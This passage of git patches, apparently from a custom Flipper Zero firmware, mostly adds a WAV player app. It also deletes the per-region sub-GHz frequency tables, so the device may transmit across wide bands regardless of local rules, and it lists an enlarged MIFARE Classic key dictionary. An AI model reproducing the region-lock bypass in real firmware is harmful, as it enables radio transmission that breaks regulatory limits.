2022 16:26:35 +0300 Subject: [PATCH 249/461] update set seed scenes --- applications/subghz/scenes/subghz_scene_set_seed.c | 2 +- applications/subghz/scenes/subghz_scene_set_seed_bft.c | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/applications/subghz/scenes/subghz_scene_set_seed.c b/applications/subghz/scenes/subghz_scene_set_seed.c index c75376bf2..d98e08c55 100644 --- a/applications/subghz/scenes/subghz_scene_set_seed.c +++ b/applications/subghz/scenes/subghz_scene_set_seed.c @@ -71,7 +71,7 @@ bool subghz_scene_set_seed_on_event(void* context, SceneManagerEvent event) { subghz_transmitter_free(subghz->txrx->transmitter); if(!generated_protocol) { - string_set( + string_set_str( subghz->error_str, "Function requires\nan SD card with\nfresh databases."); scene_manager_next_scene(subghz->scene_manager, SubGhzSceneShowError); } diff --git a/applications/subghz/scenes/subghz_scene_set_seed_bft.c b/applications/subghz/scenes/subghz_scene_set_seed_bft.c index 0caa04a4b..d6c013686 100644 --- a/applications/subghz/scenes/subghz_scene_set_seed_bft.c +++ b/applications/subghz/scenes/subghz_scene_set_seed_bft.c @@ -71,7 +71,7 @@ bool subghz_scene_set_seed_bft_on_event(void* context, SceneManagerEvent event) subghz_transmitter_free(subghz->txrx->transmitter); if(!generated_protocol) { - string_set( + string_set_str( subghz->error_str, "Function requires\nan SD card with\nfresh databases."); scene_manager_next_scene(subghz->scene_manager, SubGhzSceneShowError); } From b6deaf121c688fffcc1f25424c11dcc6e1ee361f Mon Sep 17 00:00:00 2001 From: Eng1n33r Date: Wed, 1 Jun 2022 16:39:51 +0300 Subject: [PATCH 250/461] upd manifest --- assets/resources/Manifest | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/assets/resources/Manifest b/assets/resources/Manifest index 9d854b13c..4e4ec3055 100644 --- a/assets/resources/Manifest +++ b/assets/resources/Manifest @@ -1,5 +1,5 @@ V:0 -T:1654009290 +T:1654090729 D:badusb D:dolphin D:infrared @@ -229,7 +229,7 @@ D:nfc/assets F:81dc04c7b181f94b644079a71476dff4:4742:nfc/assets/aid.nfc F:86efbebdf41bb6bf15cc51ef88f069d5:2565:nfc/assets/country_code.nfc F:41b4f08774249014cb8d3dffa5f5c07d:1757:nfc/assets/currency_code.nfc -F:c60e862919731b0bd538a1001bbc1098:17453:nfc/assets/mf_classic_dict.nfc +F:18d6ceceaa8d86931a631103152f121d:50397:nfc/assets/mf_classic_dict.nfc D:subghz/assets F:dda1ef895b8a25fde57c874feaaef997:650:subghz/assets/came_atomo F:610a0ffa2479a874f2060eb2348104c5:2712:subghz/assets/keeloq_mfcodes From e6d17b15ed766f5d0d6faf7861a7cf7f8b7b9596 Mon Sep 17 00:00:00 2001 From: Eng1n33r Date: Wed, 1 Jun 2022 17:03:21 +0300 Subject: [PATCH 251/461] fix region check --- applications/subghz/subghz_setting.c | 107 ------------------ .../targets/f7/furi_hal/furi_hal_subghz.c | 16 +-- 2 files changed, 6 insertions(+), 117 deletions(-) diff --git a/applications/subghz/subghz_setting.c b/applications/subghz/subghz_setting.c index 6a589c03e..25b488d84 100644 --- a/applications/subghz/subghz_setting.c +++ b/applications/subghz/subghz_setting.c @@ -59,113 +59,6 @@ static const uint32_t subghz_hopper_frequency_list[] = { 0, }; -/* Europe and Russia */ -static const uint32_t subghz_frequency_list_region_eu_ru[] = { - /* 300 - 348 */ - 300000000, - 303875000, - 304250000, - 310000000, - 315000000, - 318000000, - - /* 387 - 464 */ - 390000000, - 418000000, - 433075000, /* LPD433 first */ - 433420000, - 433920000 | FREQUENCY_FLAG_DEFAULT, /* LPD433 mid */ - 434420000, - 434775000, /* LPD433 last channels */ - 438900000, - - /* 779 - 928 */ - 868350000, - 915000000, - 925000000, - 0, -}; -static const uint32_t subghz_hopper_frequency_list_region_eu_ru[] = { - 310000000, - 315000000, - 318000000, - 390000000, - 433920000, - 868350000, - 0, -}; - -/* Region 0 */ -static const uint32_t subghz_frequency_list_region_us_ca_au[] = { - /* 300 - 348 */ - 300000000, - 303875000, - 304250000, - 310000000, - 315000000, - 318000000, - - /* 387 - 464 */ - 390000000, - 418000000, - 433075000, /* LPD433 first */ - 433420000, - 433920000 | FREQUENCY_FLAG_DEFAULT, /* LPD433 mid */ - 434420000, - 434775000, /* LPD433 last channels */ - 438900000, - - /* 779 - 928 */ - 868350000, - 915000000, - 925000000, - 0, -}; -static const uint32_t subghz_hopper_frequency_list_region_us_ca_au[] = { - 310000000, - 315000000, - 318000000, - 390000000, - 433920000, - 868350000, - 0, -}; - -static const uint32_t subghz_frequency_list_region_jp[] = { - /* 300 - 348 */ - 300000000, - 303875000, - 304250000, - 310000000, - 315000000, - 318000000, - - /* 387 - 464 */ - 390000000, - 418000000, - 433075000, /* LPD433 first */ - 433420000, - 433920000 | FREQUENCY_FLAG_DEFAULT, /* LPD433 mid */ - 434420000, - 434775000, /* LPD433 last channels */ - 438900000, - - /* 779 - 928 */ - 868350000, - 915000000, - 925000000, - 0, -}; -static const uint32_t subghz_hopper_frequency_list_region_jp[] = { - 310000000, - 315000000, - 318000000, - 390000000, - 433920000, - 868350000, - 0, -}; - LIST_DEF(FrequencyList, uint32_t) #define M_OPL_FrequencyList_t() LIST_OPLIST(FrequencyList) diff --git a/firmware/targets/f7/furi_hal/furi_hal_subghz.c b/firmware/targets/f7/furi_hal/furi_hal_subghz.c index e94edb9db..5f37d0e4b 100644 --- a/firmware/targets/f7/furi_hal/furi_hal_subghz.c +++ b/firmware/targets/f7/furi_hal/furi_hal_subghz.c @@ -285,15 +285,6 @@ static const uint8_t furi_hal_subghz_preset_ook_async_patable[8] = { 0x00, 0x00, 0x00}; -static const uint8_t furi_hal_subghz_preset_ook_async_patable_au[8] = { - 0x00, - 0x37, // 12dBm 0xC0, 10dBm 0xC5, 7dBm 0xCD, 5dBm 0x86, 0dBm 0x50, -6dBm 0x37, -10dBm 0x26, -15dBm 0x1D, -20dBm 0x17, -30dBm 0x03 - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00}; static const uint8_t furi_hal_subghz_preset_2fsk_async_patable[8] = { 0xC0, // 10dBm 0xC0, 7dBm 0xC8, 5dBm 0x84, 0dBm 0x60, -10dBm 0x34, -15dBm 0x1D, -20dBm 0x0E, -30dBm 0x12 0x00, @@ -571,7 +562,12 @@ uint32_t furi_hal_subghz_set_frequency_and_path(uint32_t value) { bool furi_hal_subghz_is_tx_allowed(uint32_t value) { // Removed region check - + if(!(value >= 299999755 && value <= 348000335) && + !(value >= 386999938 && value <= 464000000) && + !(value >= 778999847 && value <= 928000000)) { + return false; + } + return true; } From 141ee920651961289e9f99fb39bda4f8c77071bd Mon Sep 17 00:00:00 2001 From: Eng1n33r Date: Wed, 1 Jun 2022 19:00:39 +0300 Subject: [PATCH 252/461] add wav player & music player icon --- applications/applications.c | 12 +- applications/applications.mk | 8 + applications/wav_player/wav_parser.c | 84 ++++++ applications/wav_player/wav_parser.h | 51 ++++ applications/wav_player/wav_player.c | 301 ++++++++++++++++++++++ applications/wav_player/wav_player_hal.c | 58 +++++ applications/wav_player/wav_player_hal.h | 23 ++ applications/wav_player/wav_player_view.c | 214 +++++++++++++++ applications/wav_player/wav_player_view.h | 45 ++++ assets/compiled/assets_icons.c | 7 + assets/compiled/assets_icons.h | 1 + 11 files changed, 803 insertions(+), 1 deletion(-) create mode 100644 applications/wav_player/wav_parser.c create mode 100644 applications/wav_player/wav_parser.h create mode 100644 applications/wav_player/wav_player.c create mode 100644 applications/wav_player/wav_player_hal.c create mode 100644 applications/wav_player/wav_player_hal.h create mode 100644 applications/wav_player/wav_player_view.c create mode 100644 applications/wav_player/wav_player_view.h diff --git a/applications/applications.c b/applications/applications.c index dccab589f..e3d4c77df 100644 --- a/applications/applications.c +++ b/applications/applications.c @@ -21,6 +21,7 @@ extern int32_t accessor_app(void* p); extern int32_t archive_app(void* p); extern int32_t bad_usb_app(void* p); extern int32_t u2f_app(void* p); +extern int32_t wav_player_app(void* p); extern int32_t uart_echo_app(void* p); extern int32_t blink_test_app(void* p); extern int32_t bt_debug_app(void* p); @@ -339,7 +340,7 @@ const FlipperApplication FLIPPER_PLUGINS[] = { {.app = music_player_app, .name = "Music Player", .stack_size = 2048, - .icon = &A_Plugins_14, + .icon = &A_MusicPlayer_14, .flags = FlipperApplicationFlagDefault}, #endif @@ -350,6 +351,15 @@ const FlipperApplication FLIPPER_PLUGINS[] = { .icon = &A_Plugins_14, .flags = FlipperApplicationFlagDefault}, #endif + +#ifdef APP_WAV_PLAYER + {.app = wav_player_app, + .name = "WAV Player", + .stack_size = 4096, + .icon = &A_MusicPlayer_14, + .flags = FlipperApplicationFlagDefault}, +#endif + }; const size_t FLIPPER_PLUGINS_COUNT = COUNT_OF(FLIPPER_PLUGINS); diff --git a/applications/applications.mk b/applications/applications.mk index e7a9ebfc0..aa97f6207 100644 --- a/applications/applications.mk +++ b/applications/applications.mk @@ -47,6 +47,7 @@ APP_UPDATER = 1 # Plugins APP_MUSIC_PLAYER = 1 APP_SNAKE_GAME = 1 +APP_WAV_PLAYER = 1 # Debug APP_ACCESSOR = 1 @@ -240,6 +241,13 @@ CFLAGS += -DAPP_SNAKE_GAME SRV_GUI = 1 endif +APP_WAV_PLAYER ?= 0 +ifeq ($(APP_WAV_PLAYER), 1) +CFLAGS += -DAPP_WAV_PLAYER +SRV_GUI = 1 +endif + + APP_IBUTTON ?= 0 ifeq ($(APP_IBUTTON), 1) CFLAGS += -DAPP_IBUTTON diff --git a/applications/wav_player/wav_parser.c b/applications/wav_player/wav_parser.c new file mode 100644 index 000000000..c2897706c --- /dev/null +++ b/applications/wav_player/wav_parser.c @@ -0,0 +1,84 @@ +#include "wav_parser.h" + +#define TAG "WavParser" + +const char* format_text(FormatTag tag) { + switch(tag) { + case FormatTagPCM: + return "PCM"; + case FormatTagIEEE_FLOAT: + return "IEEE FLOAT"; + default: + return "Unknown"; + } +}; + +struct WavParser { + WavHeaderChunk header; + WavFormatChunk format; + WavDataChunk data; + size_t wav_data_start; + size_t wav_data_end; +}; + +WavParser* wav_parser_alloc() { + return malloc(sizeof(WavParser)); +} + +void wav_parser_free(WavParser* parser) { + free(parser); +} + +bool wav_parser_parse(WavParser* parser, Stream* stream) { + stream_read(stream, (uint8_t*)&parser->header, sizeof(WavHeaderChunk)); + stream_read(stream, (uint8_t*)&parser->format, sizeof(WavFormatChunk)); + stream_read(stream, (uint8_t*)&parser->data, sizeof(WavDataChunk)); + + if(memcmp(parser->header.riff, "RIFF", 4) != 0 || + memcmp(parser->header.wave, "WAVE", 4) != 0) { + FURI_LOG_E(TAG, "WAV: wrong header"); + return false; + } + + if(memcmp(parser->format.fmt, "fmt ", 4) != 0) { + FURI_LOG_E(TAG, "WAV: wrong format"); + return false; + } + + if(parser->format.tag != FormatTagPCM || memcmp(parser->data.data, "data", 4) != 0) { + FURI_LOG_E( + TAG, + "WAV: non-PCM format %u, next '%lu'", + parser->format.tag, + (uint32_t)parser->data.data); + return false; + } + + FURI_LOG_I( + TAG, + "Format tag: %s, ch: %u, smplrate: %lu, bps: %lu, bits: %u", + format_text(parser->format.tag), + parser->format.channels, + parser->format.sample_rate, + parser->format.byte_per_sec, + parser->format.bits_per_sample); + + parser->wav_data_start = stream_tell(stream); + parser->wav_data_end = parser->wav_data_start + parser->data.size; + + FURI_LOG_I(TAG, "data: %u - %u", parser->wav_data_start, parser->wav_data_end); + + return true; +} + +size_t wav_parser_get_data_start(WavParser* parser) { + return parser->wav_data_start; +} + +size_t wav_parser_get_data_end(WavParser* parser) { + return parser->wav_data_end; +} + +size_t wav_parser_get_data_len(WavParser* parser) { + return parser->wav_data_end - parser->wav_data_start; +} diff --git a/applications/wav_player/wav_parser.h b/applications/wav_player/wav_parser.h new file mode 100644 index 000000000..f50c48b3f --- /dev/null +++ b/applications/wav_player/wav_parser.h @@ -0,0 +1,51 @@ +#pragma once +#include + +#ifdef __cplusplus +extern "C" { +#endif + +typedef enum { + FormatTagPCM = 0x0001, + FormatTagIEEE_FLOAT = 0x0003, +} FormatTag; + +typedef struct { + uint8_t riff[4]; + uint32_t size; + uint8_t wave[4]; +} WavHeaderChunk; + +typedef struct { + uint8_t fmt[4]; + uint32_t size; + uint16_t tag; + uint16_t channels; + uint32_t sample_rate; + uint32_t byte_per_sec; + uint16_t block_align; + uint16_t bits_per_sample; +} WavFormatChunk; + +typedef struct { + uint8_t data[4]; + uint32_t size; +} WavDataChunk; + +typedef struct WavParser WavParser; + +WavParser* wav_parser_alloc(); + +void wav_parser_free(WavParser* parser); + +bool wav_parser_parse(WavParser* parser, Stream* stream); + +size_t wav_parser_get_data_start(WavParser* parser); + +size_t wav_parser_get_data_end(WavParser* parser); + +size_t wav_parser_get_data_len(WavParser* parser); + +#ifdef __cplusplus +} +#endif \ No newline at end of file diff --git a/applications/wav_player/wav_player.c b/applications/wav_player/wav_player.c new file mode 100644 index 000000000..8c88f8004 --- /dev/null +++ b/applications/wav_player/wav_player.c @@ -0,0 +1,301 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "wav_player_hal.h" +#include "wav_parser.h" +#include "wav_player_view.h" + +#define TAG "WavPlayer" + +static bool open_wav_stream(Storage* storage, Stream* stream) { + DialogsApp* dialogs = furi_record_open("dialogs"); + bool result = false; + string_t path; + string_init(path); + string_set_str(path, "/ext/wav_player"); + bool ret = + dialog_file_browser_show(dialogs, path, path, ".wav", + true, + &I_music_10px, + false); + + furi_record_close("dialogs"); + if(ret) { + if(!file_stream_open(stream, string_get_cstr(path), FSAM_READ, FSOM_OPEN_EXISTING)) { + FURI_LOG_E(TAG, "Cannot open file \"%s\"", string_get_cstr(path)); + } else { + result = true; + } + } + string_clear(path); + return result; +} + +typedef enum { + WavPlayerEventHalfTransfer, + WavPlayerEventFullTransfer, + WavPlayerEventCtrlVolUp, + WavPlayerEventCtrlVolDn, + WavPlayerEventCtrlMoveL, + WavPlayerEventCtrlMoveR, + WavPlayerEventCtrlOk, + WavPlayerEventCtrlBack, +} WavPlayerEventType; + +typedef struct { + WavPlayerEventType type; +} WavPlayerEvent; + +static void wav_player_dma_isr(void* ctx) { + osMessageQueueId_t event_queue = ctx; + + // half of transfer + if(LL_DMA_IsActiveFlag_HT1(DMA1)) { + LL_DMA_ClearFlag_HT1(DMA1); + // fill first half of buffer + WavPlayerEvent event = {.type = WavPlayerEventHalfTransfer}; + osMessageQueuePut(event_queue, &event, 0, 0); + } + + // transfer complete + if(LL_DMA_IsActiveFlag_TC1(DMA1)) { + LL_DMA_ClearFlag_TC1(DMA1); + // fill second half of buffer + WavPlayerEvent event = {.type = WavPlayerEventFullTransfer}; + osMessageQueuePut(event_queue, &event, 0, 0); + } +} + +typedef struct { + Storage* storage; + Stream* stream; + WavParser* parser; + uint16_t* sample_buffer; + uint8_t* tmp_buffer; + + size_t samples_count_half; + size_t samples_count; + + osMessageQueueId_t queue; + + float volume; + bool play; + + WavPlayerView* view; + ViewDispatcher* view_dispatcher; + Gui* gui; + NotificationApp* notification; +} WavPlayerApp; + +static WavPlayerApp* app_alloc() { + WavPlayerApp* app = malloc(sizeof(WavPlayerApp)); + app->samples_count_half = 1024 * 4; + app->samples_count = app->samples_count_half * 2; + app->storage = furi_record_open("storage"); + app->stream = file_stream_alloc(app->storage); + app->parser = wav_parser_alloc(); + app->sample_buffer = malloc(sizeof(uint16_t) * app->samples_count); + app->tmp_buffer = malloc(sizeof(uint8_t) * app->samples_count); + app->queue = osMessageQueueNew(10, sizeof(WavPlayerEvent), NULL); + + app->volume = 10.0f; + app->play = true; + + app->gui = furi_record_open("gui"); + app->view_dispatcher = view_dispatcher_alloc(); + app->view = wav_player_view_alloc(); + + view_dispatcher_add_view(app->view_dispatcher, 0, wav_player_view_get_view(app->view)); + view_dispatcher_attach_to_gui(app->view_dispatcher, app->gui, ViewDispatcherTypeFullscreen); + view_dispatcher_switch_to_view(app->view_dispatcher, 0); + + app->notification = furi_record_open("notification"); + notification_message(app->notification, &sequence_display_backlight_enforce_on); + + return app; +} + +static void app_free(WavPlayerApp* app) { + view_dispatcher_remove_view(app->view_dispatcher, 0); + view_dispatcher_free(app->view_dispatcher); + wav_player_view_free(app->view); + furi_record_close("gui"); + + osMessageQueueDelete(app->queue); + free(app->tmp_buffer); + free(app->sample_buffer); + wav_parser_free(app->parser); + stream_free(app->stream); + furi_record_close("storage"); + + notification_message(app->notification, &sequence_display_backlight_enforce_auto); + furi_record_close("notification"); + free(app); +} + +// TODO: that works only with 8-bit 2ch audio +static bool fill_data(WavPlayerApp* app, size_t index) { + uint16_t* sample_buffer_start = &app->sample_buffer[index]; + size_t count = stream_read(app->stream, app->tmp_buffer, app->samples_count); + + for(size_t i = count; i < app->samples_count; i++) { + app->tmp_buffer[i] = 0; + } + + for(size_t i = 0; i < app->samples_count; i += 2) { + float data = app->tmp_buffer[i]; + data -= UINT8_MAX / 2; // to signed + data /= UINT8_MAX / 2; // scale -1..1 + + data *= app->volume; // volume + data = tanhf(data); // hyperbolic tangent limiter + + data *= UINT8_MAX / 2; // scale -128..127 + data += UINT8_MAX / 2; // to unsigned + + if(data < 0) { + data = 0; + } + + if(data > 255) { + data = 255; + } + + sample_buffer_start[i / 2] = data; + } + + wav_player_view_set_data(app->view, sample_buffer_start, app->samples_count_half); + + return count != app->samples_count; +} + +static void ctrl_callback(WavPlayerCtrl ctrl, void* ctx) { + osMessageQueueId_t event_queue = ctx; + WavPlayerEvent event; + + switch(ctrl) { + case WavPlayerCtrlVolUp: + event.type = WavPlayerEventCtrlVolUp; + osMessageQueuePut(event_queue, &event, 0, 0); + break; + case WavPlayerCtrlVolDn: + event.type = WavPlayerEventCtrlVolDn; + osMessageQueuePut(event_queue, &event, 0, 0); + break; + case WavPlayerCtrlMoveL: + event.type = WavPlayerEventCtrlMoveL; + osMessageQueuePut(event_queue, &event, 0, 0); + break; + case WavPlayerCtrlMoveR: + event.type = WavPlayerEventCtrlMoveR; + osMessageQueuePut(event_queue, &event, 0, 0); + break; + case WavPlayerCtrlOk: + event.type = WavPlayerEventCtrlOk; + osMessageQueuePut(event_queue, &event, 0, 0); + break; + case WavPlayerCtrlBack: + event.type = WavPlayerEventCtrlBack; + osMessageQueuePut(event_queue, &event, 0, 0); + break; + default: + break; + } +} + +static void app_run(WavPlayerApp* app) { + if(!open_wav_stream(app->storage, app->stream)) return; + if(!wav_parser_parse(app->parser, app->stream)) return; + + wav_player_view_set_volume(app->view, app->volume); + wav_player_view_set_start(app->view, wav_parser_get_data_start(app->parser)); + wav_player_view_set_current(app->view, stream_tell(app->stream)); + wav_player_view_set_end(app->view, wav_parser_get_data_end(app->parser)); + wav_player_view_set_play(app->view, app->play); + + wav_player_view_set_context(app->view, app->queue); + wav_player_view_set_ctrl_callback(app->view, ctrl_callback); + + bool eof = fill_data(app, 0); + eof = fill_data(app, app->samples_count_half); + + wav_player_speaker_init(); + wav_player_dma_init((uint32_t)app->sample_buffer, app->samples_count); + + furi_hal_interrupt_set_isr(FuriHalInterruptIdDma1Ch1, wav_player_dma_isr, app->queue); + + wav_player_dma_start(); + wav_player_speaker_start(); + + WavPlayerEvent event; + + while(1) { + if(osMessageQueueGet(app->queue, &event, NULL, osWaitForever) == osOK) { + if(event.type == WavPlayerEventHalfTransfer) { + eof = fill_data(app, 0); + wav_player_view_set_current(app->view, stream_tell(app->stream)); + if(eof) { + stream_seek( + app->stream, + wav_parser_get_data_start(app->parser), + StreamOffsetFromStart); + } + + } else if(event.type == WavPlayerEventFullTransfer) { + eof = fill_data(app, app->samples_count_half); + wav_player_view_set_current(app->view, stream_tell(app->stream)); + if(eof) { + stream_seek( + app->stream, + wav_parser_get_data_start(app->parser), + StreamOffsetFromStart); + } + } else if(event.type == WavPlayerEventCtrlVolUp) { + if(app->volume < 9.9) app->volume += 0.2; + wav_player_view_set_volume(app->view, app->volume); + } else if(event.type == WavPlayerEventCtrlVolDn) { + if(app->volume > 0.01) app->volume -= 0.2; + wav_player_view_set_volume(app->view, app->volume); + } else if(event.type == WavPlayerEventCtrlMoveL) { + int32_t seek = stream_tell(app->stream) - wav_parser_get_data_start(app->parser); + seek = MIN(seek, wav_parser_get_data_len(app->parser) / 100); + stream_seek(app->stream, -seek, StreamOffsetFromCurrent); + wav_player_view_set_current(app->view, stream_tell(app->stream)); + } else if(event.type == WavPlayerEventCtrlMoveR) { + int32_t seek = wav_parser_get_data_end(app->parser) - stream_tell(app->stream); + seek = MIN(seek, wav_parser_get_data_len(app->parser) / 100); + stream_seek(app->stream, seek, StreamOffsetFromCurrent); + wav_player_view_set_current(app->view, stream_tell(app->stream)); + } else if(event.type == WavPlayerEventCtrlOk) { + app->play = !app->play; + wav_player_view_set_play(app->view, app->play); + + if(!app->play) { + wav_player_speaker_stop(); + } else { + wav_player_speaker_start(); + } + } else if(event.type == WavPlayerEventCtrlBack) { + break; + } + } + } + + wav_player_speaker_stop(); + wav_player_dma_stop(); + + furi_hal_interrupt_set_isr(FuriHalInterruptIdDma1Ch1, NULL, NULL); +} + +int32_t wav_player_app(void* p) { + WavPlayerApp* app = app_alloc(); + app_run(app); + app_free(app); + return 0; +} diff --git a/applications/wav_player/wav_player_hal.c b/applications/wav_player/wav_player_hal.c new file mode 100644 index 000000000..ad0c019be --- /dev/null +++ b/applications/wav_player/wav_player_hal.c @@ -0,0 +1,58 @@ +#include "wav_player_hal.h" +#include +#include + +#define FURI_HAL_SPEAKER_TIMER TIM16 +#define FURI_HAL_SPEAKER_CHANNEL LL_TIM_CHANNEL_CH1 +#define DMA_INSTANCE DMA1, LL_DMA_CHANNEL_1 + +void wav_player_speaker_init() { + LL_TIM_InitTypeDef TIM_InitStruct = {0}; + TIM_InitStruct.Prescaler = 4; + TIM_InitStruct.Autoreload = 255; + LL_TIM_Init(FURI_HAL_SPEAKER_TIMER, &TIM_InitStruct); + + LL_TIM_OC_InitTypeDef TIM_OC_InitStruct = {0}; + TIM_OC_InitStruct.OCMode = LL_TIM_OCMODE_PWM1; + TIM_OC_InitStruct.OCState = LL_TIM_OCSTATE_ENABLE; + TIM_OC_InitStruct.CompareValue = 127; + LL_TIM_OC_Init(FURI_HAL_SPEAKER_TIMER, FURI_HAL_SPEAKER_CHANNEL, &TIM_OC_InitStruct); +} + +void wav_player_speaker_start() { + LL_TIM_EnableAllOutputs(FURI_HAL_SPEAKER_TIMER); + LL_TIM_EnableCounter(FURI_HAL_SPEAKER_TIMER); +} + +void wav_player_speaker_stop() { + LL_TIM_DisableAllOutputs(FURI_HAL_SPEAKER_TIMER); + LL_TIM_DisableCounter(FURI_HAL_SPEAKER_TIMER); +} + +void wav_player_dma_init(uint32_t address, size_t size) { + uint32_t dma_dst = (uint32_t) & (FURI_HAL_SPEAKER_TIMER->CCR1); + + LL_DMA_ConfigAddresses(DMA_INSTANCE, address, dma_dst, LL_DMA_DIRECTION_MEMORY_TO_PERIPH); + LL_DMA_SetDataLength(DMA_INSTANCE, size); + + LL_DMA_SetPeriphRequest(DMA_INSTANCE, LL_DMAMUX_REQ_TIM16_UP); + LL_DMA_SetDataTransferDirection(DMA_INSTANCE, LL_DMA_DIRECTION_MEMORY_TO_PERIPH); + LL_DMA_SetChannelPriorityLevel(DMA_INSTANCE, LL_DMA_PRIORITY_VERYHIGH); + LL_DMA_SetMode(DMA_INSTANCE, LL_DMA_MODE_CIRCULAR); + LL_DMA_SetPeriphIncMode(DMA_INSTANCE, LL_DMA_PERIPH_NOINCREMENT); + LL_DMA_SetMemoryIncMode(DMA_INSTANCE, LL_DMA_MEMORY_INCREMENT); + LL_DMA_SetPeriphSize(DMA_INSTANCE, LL_DMA_PDATAALIGN_HALFWORD); + LL_DMA_SetMemorySize(DMA_INSTANCE, LL_DMA_MDATAALIGN_HALFWORD); + + LL_DMA_EnableIT_TC(DMA_INSTANCE); + LL_DMA_EnableIT_HT(DMA_INSTANCE); +} + +void wav_player_dma_start() { + LL_DMA_EnableChannel(DMA_INSTANCE); + LL_TIM_EnableDMAReq_UPDATE(FURI_HAL_SPEAKER_TIMER); +} + +void wav_player_dma_stop() { + LL_DMA_DisableChannel(DMA_INSTANCE); +} \ No newline at end of file diff --git a/applications/wav_player/wav_player_hal.h b/applications/wav_player/wav_player_hal.h new file mode 100644 index 000000000..124f51406 --- /dev/null +++ b/applications/wav_player/wav_player_hal.h @@ -0,0 +1,23 @@ +#pragma once +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +void wav_player_speaker_init(); + +void wav_player_speaker_start(); + +void wav_player_speaker_stop(); + +void wav_player_dma_init(uint32_t address, size_t size); + +void wav_player_dma_start(); + +void wav_player_dma_stop(); + +#ifdef __cplusplus +} +#endif \ No newline at end of file diff --git a/applications/wav_player/wav_player_view.c b/applications/wav_player/wav_player_view.c new file mode 100644 index 000000000..8068bf351 --- /dev/null +++ b/applications/wav_player/wav_player_view.c @@ -0,0 +1,214 @@ +#include "wav_player_view.h" + +#define DATA_COUNT 116 + +struct WavPlayerView { + View* view; + WavPlayerCtrlCallback callback; + void* context; +}; + +typedef struct { + bool play; + float volume; + size_t start; + size_t end; + size_t current; + uint8_t data[DATA_COUNT]; +} WavPlayerViewModel; + +float map(float x, float in_min, float in_max, float out_min, float out_max) { + return (x - in_min) * (out_max - out_min + 1) / (in_max - in_min + 1) + out_min; +} + +static void wav_player_view_draw_callback(Canvas* canvas, void* _model) { + WavPlayerViewModel* model = _model; + + canvas_clear(canvas); + canvas_set_color(canvas, ColorBlack); + uint8_t x_pos = 0; + uint8_t y_pos = 0; + + // volume + x_pos = 124; + y_pos = 0; + const float volume = (64 / 10.0f) * model->volume; + canvas_draw_frame(canvas, x_pos, y_pos, 4, 64); + canvas_draw_box(canvas, x_pos, y_pos + (64 - volume), 4, volume); + + // play / pause + x_pos = 58; + y_pos = 55; + if(model->play) { + canvas_draw_line(canvas, x_pos, y_pos, x_pos + 8, y_pos + 4); + canvas_draw_line(canvas, x_pos, y_pos + 8, x_pos + 8, y_pos + 4); + canvas_draw_line(canvas, x_pos, y_pos + 8, x_pos, y_pos); + } else { + canvas_draw_box(canvas, x_pos, y_pos, 3, 9); + canvas_draw_box(canvas, x_pos + 4, y_pos, 3, 9); + } + + x_pos = 78; + y_pos = 55; + canvas_draw_line(canvas, x_pos, y_pos, x_pos + 4, y_pos + 4); + canvas_draw_line(canvas, x_pos, y_pos + 8, x_pos + 4, y_pos + 4); + canvas_draw_line(canvas, x_pos, y_pos + 8, x_pos, y_pos); + + x_pos = 82; + y_pos = 55; + canvas_draw_line(canvas, x_pos, y_pos, x_pos + 4, y_pos + 4); + canvas_draw_line(canvas, x_pos, y_pos + 8, x_pos + 4, y_pos + 4); + canvas_draw_line(canvas, x_pos, y_pos + 8, x_pos, y_pos); + + x_pos = 40; + y_pos = 55; + canvas_draw_line(canvas, x_pos, y_pos, x_pos - 4, y_pos + 4); + canvas_draw_line(canvas, x_pos, y_pos + 8, x_pos - 4, y_pos + 4); + canvas_draw_line(canvas, x_pos, y_pos + 8, x_pos, y_pos); + + x_pos = 44; + y_pos = 55; + canvas_draw_line(canvas, x_pos, y_pos, x_pos - 4, y_pos + 4); + canvas_draw_line(canvas, x_pos, y_pos + 8, x_pos - 4, y_pos + 4); + canvas_draw_line(canvas, x_pos, y_pos + 8, x_pos, y_pos); + + // len + x_pos = 4; + y_pos = 47; + const uint8_t play_len = 116; + uint8_t play_pos = map(model->current, model->start, model->end, 0, play_len - 4); + + canvas_draw_frame(canvas, x_pos, y_pos, play_len, 4); + canvas_draw_box(canvas, x_pos + play_pos, y_pos - 2, 4, 8); + canvas_draw_box(canvas, x_pos, y_pos, play_pos, 4); + + // osc + x_pos = 4; + y_pos = 0; + for(size_t i = 1; i < DATA_COUNT; i++) { + canvas_draw_line(canvas, x_pos + i - 1, model->data[i - 1], x_pos + i, model->data[i]); + } +} + +static bool wav_player_view_input_callback(InputEvent* event, void* context) { + WavPlayerView* wav_player_view = context; + bool consumed = false; + + if(wav_player_view->callback) { + if(event->type == InputTypeShort || event->type == InputTypeRepeat) { + if(event->key == InputKeyUp) { + wav_player_view->callback(WavPlayerCtrlVolUp, wav_player_view->context); + consumed = true; + } else if(event->key == InputKeyDown) { + wav_player_view->callback(WavPlayerCtrlVolDn, wav_player_view->context); + consumed = true; + } else if(event->key == InputKeyLeft) { + wav_player_view->callback(WavPlayerCtrlMoveL, wav_player_view->context); + consumed = true; + } else if(event->key == InputKeyRight) { + wav_player_view->callback(WavPlayerCtrlMoveR, wav_player_view->context); + consumed = true; + } else if(event->key == InputKeyOk) { + wav_player_view->callback(WavPlayerCtrlOk, wav_player_view->context); + consumed = true; + } else if(event->key == InputKeyBack) { + wav_player_view->callback(WavPlayerCtrlBack, wav_player_view->context); + consumed = true; + } + } + } + + return consumed; +} + +WavPlayerView* wav_player_view_alloc() { + WavPlayerView* wav_view = malloc(sizeof(WavPlayerView)); + wav_view->view = view_alloc(); + view_set_context(wav_view->view, wav_view); + view_allocate_model(wav_view->view, ViewModelTypeLocking, sizeof(WavPlayerViewModel)); + view_set_draw_callback(wav_view->view, wav_player_view_draw_callback); + view_set_input_callback(wav_view->view, wav_player_view_input_callback); + + return wav_view; +} + +void wav_player_view_free(WavPlayerView* wav_view) { + furi_assert(wav_view); + view_free(wav_view->view); + free(wav_view); +} + +View* wav_player_view_get_view(WavPlayerView* wav_view) { + furi_assert(wav_view); + return wav_view->view; +} + +void wav_player_view_set_volume(WavPlayerView* wav_view, float volume) { + furi_assert(wav_view); + with_view_model( + wav_view->view, (WavPlayerViewModel * model) { + model->volume = volume; + return true; + }); +} + +void wav_player_view_set_start(WavPlayerView* wav_view, size_t start) { + furi_assert(wav_view); + with_view_model( + wav_view->view, (WavPlayerViewModel * 